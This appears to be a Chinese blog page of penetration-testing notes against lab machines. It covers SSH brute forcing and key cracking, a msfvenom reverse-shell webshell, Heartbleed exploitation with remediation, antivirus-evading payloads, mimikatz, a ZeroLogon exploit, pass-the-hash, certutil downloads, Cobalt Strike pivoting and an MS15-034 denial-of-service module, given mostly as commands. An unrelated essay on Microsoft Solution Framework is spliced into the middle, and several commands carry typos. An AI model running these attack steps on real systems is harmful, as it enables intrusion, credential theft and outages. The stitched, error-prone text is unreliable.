入侵开放22端口的靶机
本人笔记,仅供参考
相关靶机:
链接:
提取码:qd32
渗透分析:
对于开启ssh服务的22端口的靶场优先考虑
1.暴力破解
2.私钥泄露
对于开放http服务的80端口或者其他端口的靶场优先考虑(特别注意大于1024的端口)
1.通过浏览器访问对应靶场http服务如地址:端口号
2.使用探测工具对http的目录进行探测,如dirb 地址:端口号
挖掘敏感信息:
使用浏览器对靶场IP的http服务探测,对页面中展示的内容也要注意,尤其是联系人等信息(有可能就是ssh的用户名信息), 递归访问,力争把每一个dirb扫描到的目录页面都访问查看;
尤其对robots.txt、以及一些目录进行访问,挖掘具备利用价值的信息。对于开放ssh服务的靶场,务必要注意是否可以寻找到ssh私钥信息(id_ rsa);
对于某些靶场,也可以使用nikto扫描器来挖掘敏感信息;
-- nikto -host靶场IP地址
特别注意config等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息;
登录服务器之后,我们需要做以下操作。
1、查看当前用户whoami .
2、id 查看当前用户的权限
3、查看根目录寻找flag文件
如果是root权限,那么表明这个靶场就被全部拿下。但是如果不是,就肯定需要提权。一
般情况下,flag文件只属于root用户和对应的用户组:
cat /etc/passwd查看所有用户的列装
cat /etc/group查看用户组
find / -user用户名查看属于某些用户的文件
/tmp查看缓冲文件目录
深入挖掘
通过/etc/crontab文件,设定系统定期执行的任务,编辑,需要roor权限。不同的用户都可以有不同的定时任务
cat /etc/crontab挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。
如果在/etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。
如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。
万不得已的时候只能对ssh服务进行暴力破解。破解最后一个
用户名。破解工具如hydra、medusa等;
利用cupp创建字典
git clone
chmod +x cupp.py
./cupp.py -i以交互的方式创建字典
输入用户名然后一直回车到Do you want to add some random numbers at the end of words?输入yes其他全部no此时创建完成
之后推荐用metasploit破解ssh
在终端中输入
msfconsole
msf use auxiliary/scaner/ssh/ssh_ login(使用该模块)
set rhosts 192.168.56.103(确定ip地址)
set username 用户名(破解的用户名)
set pass_ file 用户名.txt(刚刚创建的字典)
set threads 5(输入线程)
Run(进攻)
此时破解出密码例如123
直接连接,如果出现问题可以重启msfconsole,启用该模块后
set rhosts 192.168.56.103 (连接远程主机)
set username hadi(用户名)
Set password 123(密码)
Run
界面简陋就使用python优化界面
Python -c “import pty;pty.spawn(‘/bin/bash’)”(优化界面)
此时可以把自己权限提升到root:
su - root
回到根目录ls打开flag文件
Ssh秘钥泄露
解密Ssh秘钥信息(以秘钥名id_isa举例)
Chmod 600 id_isa(赋予is_isa可读可写权限)
ssh2john id_isa isacrack (就是用ssh2john把秘钥里的东西转换成john可识别的)
Zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacracks(利用rockyou字典解出所需要的东西)
制作webshell
msfvenom -p php/meterpreter/reverse_tcp Ihost=攻击机IP地址Iport=4444 -f raw /root/Desktop/shell.php
启动监听
msf use exploit/multi/handler
msf exploit(handler) set payload php/meterpreter/reverse_tcp
Weoshell
msf exploit(handler) set Ihost攻击机IP地址
msf exploit(handler) set lport 4444
msf exploit(handler) run
上传Webshell
使用找到的敏感信息登录系统后台,上传webshell。 执行
webshel(访问具有webshell的php页面)
获得反弹的shell
--
wordpress.上传点theme 404.php
执行: http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php
心脏滴血漏洞搭建与复现修复(CVE-2014-0160)OpenSSL Heartbleed漏洞
OpenSSL1.0.1版本
Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。
如同漏洞成因所讲,我们可以通过该漏洞读取每次攻击泄露出来的信息,所以可能也可以获取到服务器的私钥,用户cookie和密码等。
环境:
靶机:Vulhub环境 攻击机:kali Linux
这里使用的是Vulhub一键搭建漏洞测试靶场
访问看一下
先使用nmap扫描端口
可以使用nmap自带的Heartbleed漏洞检测脚本
nmap -sV -p 443 --script ssl-heartbleed.nse 【目标IP】
msf利用
1.搜索Heartbleed模块:
2.引用第一个选项,show options查看需要设置的参数
set rhosts 【ip】
set rport 【端口】
set verbose true 设置verbose不然显示不出信息
抓取的数据有点乱,可以使用脚本抓取我们想要的
1.将受影响的服务器下线,避免它继续泄露敏感信息。
2.停止旧版的 openssl 服务,升级 openssl 到新版本,并重新启动。
3.生成新密钥。(因为攻击者可能通过漏洞获取私钥。)将新密钥提交给你的CA,获得新的认证之后在服务器上安装新密钥。
4.服务器上线。
5.撤销旧认证。
6.撤销现有的会话cookies。
7.要求用户修改密码。
什么是MSF?
·程序管理员。他负责制定计划,每天找出完成该计划的风险所在,排除风险,每天交付应该完成的内容,确保计划按质、按量实施。 ·用户教育。设计友好的用户界面,对用户进行培训,确保用户能够并且愿意和喜欢使用开发出的产品。 ·开发。开发者在开发前期就参与用户需求分析和项目计划制定,他最清楚具体的开发过程。在开发期开始后,他负责进行代码开发,在每一个阶段,交付每一项内容的代码。 ·测试。负责开发出的代码的测试。测试者并不是要找到每一个开发者的每一段代码的每一个错误(bug),而是要找到代码错误之间的关系,解决最根本的错误,掌握错误的状态,从而迅速排除错误。 ·后勤。后勤人员负责将实验室的产品商品化,变成实际可以运行的产品,达到最初制定的商业目的,取得商业效益。这项工作在以往的项目中可能比较简单,因为实验室的环境可能和实际环境几乎一致或差别不大。而现在却不同了,实验室环境可能十分简单,而实际环境可能非常复杂,比如分布式环境、Internet/Intranet环境等,尤其是大企业,实际环境比实验室环境复杂得多,因而将实验室产品运用到实际环境中是一项非常重要的工作。这项工作没有完成好,往往使整个项目前功尽弃,功亏一篑。 二、MSF简史 1994年,基于微软产品开发的经验和教训以及微软微软咨询服务的业务经验,微软推出了Microsoft? 解决方案框架 Microsoft Solution Framework (MSF)。当时的MSF只是这些经验教训的松散集合。在以后的几年中,MSF 进一步吸收了微软各个部门和微软的合作伙伴在实际项目中的经验,在2002年,随着Visual Studio.Net 的发布,微软发布了一系列关于MSF 3.0的白皮书,针对MSF 3.0 的大规模培训也在中国开始。 2006年,MSF 4.0 随着Visual Studio Team Foundation 2005 发布。它增加了不少敏捷开发的内容,并且明确刻画了团队典型的流程和在新的团队协作软件包VSTS 中的应用。 我们可以不用管MSF 演化的细节,要记住所有模式都不是一成不变的,关键是要掌握变化的原因。 三、MSF的基本原则 MSF的核心有八个基本原则: ·推动开放的沟通 ·为共同的前景而工作 ·充分授权和信任 ·各司其职,对项目共同负责 ·重视商业价值 ·保持敏捷,预期变化 ·质量投资 ·学习所有的经验 四、MSF的一些特点 MSF是微软在总结自身多年项目管理经验的基础上提出的一套项目管理界方案,主要特点是实用性和可操作性强,有许多方面值得我们借鉴。现对其要点作一描述。需要注意的是,微软有国内企业不能比拟的优势:如人力资源优势等,所以并不一定完全适合国内的软件行业,但我们可以发现,他们的很多做法是我们已经意识到并有所改进,有些做法我们可能已经体会到但还没有有上升到一个管理原则的高度。 1、Code Review 原则 是指程序员定期向其他人讲解自己源程序的活动,这个方法被众多公司采用并被认为是一个行之有效的方法。主要优点有: 因为要向大家讲解自己的程序,程序员会更重视自己的工作进度、代码质量。 可以互相学习,共同提高,及时发现问题。 程序员可掌握他人的程序设计思想和方法,利于维护他人程序 2、版本管理方法,采用统一的版本管理服务器管理项目源程序,每个人的程序,必须经另外一个程序员检查后才能Check in, 每天晚上都有build所有程序,如果build不能通过,程序员必须立即修改自己的程序。每隔一段时间配合进度里程碑release一个内部版本。主要优点: 从开始程序就是一个整体,而不是到最后才整合在一起。 互相检查才能Check in可以减少错误的发生。 里程碑的设定,对大项目的管理尤其有益,既不会因为计划时间较长而有松懈,也能做到有张有弛。 3、文档管理,MSF的文档崇尚实用简洁,尽量避免事后没人看得文档,资料的积累和经验的继承通过加强程序员的交流来解决(如Code Review, Check in 前的互相检查)。微软认为,一个项目的存在是和项目组的存在相关联的,如果项目组整个离开了团队,那么有再多的文档也没用。在不同的开发阶段,微软也有不同的文档要求,但应该注意到,微软开大的是办事系统软件,和一般的应用软件开发相比会有所不同。
安全攻防实战系列MSF
前言
在红队攻防中,我们主要在外网进行信息收集,通过cms或者其他漏洞拿到shell,之后通过免杀木马将windows或linux服务器上线到cobalt strike或msf等c2服务器,之后对内网进行信息收集并绘制网络拓扑图,进行工作组或域渗透,拿到各个网段机器的权限,远程登陆并截图证明。
环境配置
从虚拟机网络来看
机器描述
目录如下
蚁剑拿shell
msf免杀拿shell
使用msfvenom生成免杀木马payload,里面的IP和端口自行修改,就是反弹shell的kali
使用分离免杀工具生成loader.exe文件
对生成的exe文件进行加壳免杀
免杀效果如下
免杀之后通过蚁剑上传到server-bt上
msf开启监听
蚁剑运行
getuid
ps
msf内网渗透
load mimikatz # 加载Mimikatz模块
成功开启了远程桌面,并且生成了一个txt文件,这个txt文件往后可用来关闭远程桌面,关闭命令
run multi_console_command -r /root/.msf4/loot/xx_default_192.168.1.5_host.windows.cle_xxx5.txt
绕过火绒添加用户
蚂蚁剑或者cs上传添加用户.exe
远程登录server-bt
然后再添加一个由system权限下开启的桌面进程
Earthworm穿透
上传EW(Earthworm)到C:/wwwroot/
kali环境进行爆破
proxychains hydra -P /usr/xxx/password.lst 192.168.59.4 redis 6379
利用过程
代理蚁剑进行连接这个shell
并查看权限
Earthworm穿透
挂代理,通过之前上传的EW(Earthworm)
服务器端执行以下命令(关掉server-bt的防火墙代理才能生效)
execute C:\wwwroot\ew.exe -s ssocksd -l 1090
用msfvenom生成一个正向马传进去(因为无法访问外网,反向出不来),msf正向连接。
使用分离免杀工具生成loader.exe文件
免杀效果如下
C:\ProgramData\xxxx.exe -i -c "certutil -urlcache -split -f msf1.exe
成功获取服务器的shell,之后就是各种权限维持了。创建计划任务、开机自启等等都能够实现。
ps
添加账户和远程连接同第一层
load mimikatz # 加载Mimikatz模块
这里已经满足触发zerologon的两个条件,能ping通域控制器,知道域控计算机名,当然最后dump出域内所有hash的时候需要域名
置空域控机器用户NTLM hash
proxychains python3 cve-2020-1472-exploit.py 12server-dc$ 10.10.10.201
接下来用置空的机器账户dump所有hash
(890c这个hash就是"空"的NTML hash)
我们的目标是获得域内administrator的hash,然后就可以hash传递,登陆任意域内机器
利用 psexec(PTH)上线server-dc到 MSF:
成功获取到shell
利用 psexec 上线server-ex13到 MSF:
cobalt strike使用跳板进行内网渗透
Pivoting ,在本手册中,指的是「将一个受害机器转为其他攻击和工具的跳板」。Cobalt Strike 的Beacon 提供了多种 pivoting 选项。前提是 Beacon 处于交互模式。交互模式意味着一个 Beacon 每 秒内多次连接到团队服务器。使用 sleep 0 命令来使你的 Beacon 进入交互模式。
通过 [beacon] → Pivoting → SOCKS Server 来在你的团队服务器上设置一个 SOCKS4a 代理服务 器。或者使用 socks 8080 命令来在端口 8080 上设置一个 SOCKS4a 代理服务器(或者任何其他你想 选择的端口)。
所有经过这些 SOCKS 服务器的连接都将被转变为让相关联 Beacon 执行的连接、读写和关闭任务。你 可以通过任何类型的 Beacon 经由 SOCKS 隧道传输(甚至是一个 SMB Beacon)。
Beacon 的 HTTP 数据通道是响应速度最快的 pivoting 方法。如果你想通过 DNS 中继流量,使用DNS TXT 记录的通信模式。
要查看当前已经配置的 SOCKS 服务器,通过 View → Proxy Pivots 。 使用 socks stop 命令来停用 SOCKS 代理服务器。
proxychains 工具将强制外部程序使用你指定的 SOCKS 代理服务器。你可以使用 proxychains 强制第 三方工具经过 Cobalt Strike 的 SOCKS 服务器。要了解有关 proxychains 的更多信息,请访问:
安装proxychains,配置文件修改如下
pre class="1a9c-7e74-e4d1-97c3 cm-s-default" style="color: rgb(89, 89, 89); margin: 0px; padding: 0px; background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"--- snippet --- [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks4 127.0.0.1 8973/pre
过执行代理工具 proxychains,对内网主机 ip 地址为192.168.237.127进行端口探测。执行指令如下所示:
pre class="7e74-e4d1-97c3-cf11 cm-s-default" style="color: rgb(89, 89, 89); margin: 0px; padding: 0px; background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);" proxychains nmap -sT -Pn 192.168.237.129/pre
然后可以通过代理使用其他的安全工具进行下一步的渗透,如果说有些工具是不支持代理ip的,那么还有方法
Proxifier:
当使用没有代理功能的工具对目标内网进行渗透时,可以使用Proxifier工具能够将程序通过socks代理对内网进行渗透。详细的使用过程如下所示:
打开Proxifier软件,单击Profile-Proxy Server-add 添加本地主机的代理端口。协议选择socks5类型,可以点击check进行测试当前代理是否成功。
这样的配置会让当前所有软件走全局的代理。可以让一些不支持代理功能的软件走代理。
首先,用cs新建一个外部的监听:我这里选用外部http链接。
开启msf,使用exploit/multi/handler模块,设置payload为windows/meterpreter/reverse_http,然后show options 查看需要设置的参数。
注意:payload必须是和cs上设置的监听模块一致。
然后在cs的beacon控制台中直接输入
pre class="e4d1-97c3-cf11-bce2 cm-s-default" style="color: rgb(89, 89, 89); margin: 0px; padding: 0px; background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"spawn msf/pre
过了几秒,msf中就会得到会话
这部分是在msf获取到会话之后,把会话上传到CS上。
首先在CS上新建一个内部监听。
然后在msf中进行配置
首先在msf上面查看要上传·会话的id:(我这里是2)
使用这个exp:exploit/windows/local/payload_inject
设置好参数之后,检查参数时候设置完全和正确。
exploit执行
cs上就会上线了
这两天出文章的速度慢了,是因为我一直在持续的开发和优化知识库,现在知识库上线新的功能GitHub索引,地址是: ,不过现在只能是pc端访问,移动端访问样式会乱掉,因为我前端技术实在是渣渣
首页整理了github上最新流行的趋势。下图是中文趋势
下图是全网趋势
msf实验Windows漏洞😴
首先search ms08-067漏洞然后info查看
show options查看配置
我们让目标机访问下这个url,这时msfconsole中就出现了successfuully,我们按回车(这里我尝试了好久,每次靶机访问IE就跳出OD来,最后把靶机里面的OD删掉就好了)。
sessions -i 1进入会话
用到的靶机为:WinXPenSP3。
打开msfconsole
搜索下ms10-018的路径:search ms10-087。
使用这个模块:
Use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
执行show options配置环境
我们把文件名改成ceshi。我们设置现在让他弹出一个计算器:set CMD calc.exe。
显示隐藏文件找到生成文件
找到后利用刚刚ms10-018上传运行
(1)利用ms15-034漏洞读取服务器内存数据
(2)利用ms15-034漏洞进行ddos攻击
use auxiliary/dos/http/ms15_034_ulonglongadd //打开这个漏洞模块
set
rhosts 192.168.80.130//配置目标IP
set
threads 10//配置10个线程
run//运行
0条大神的评论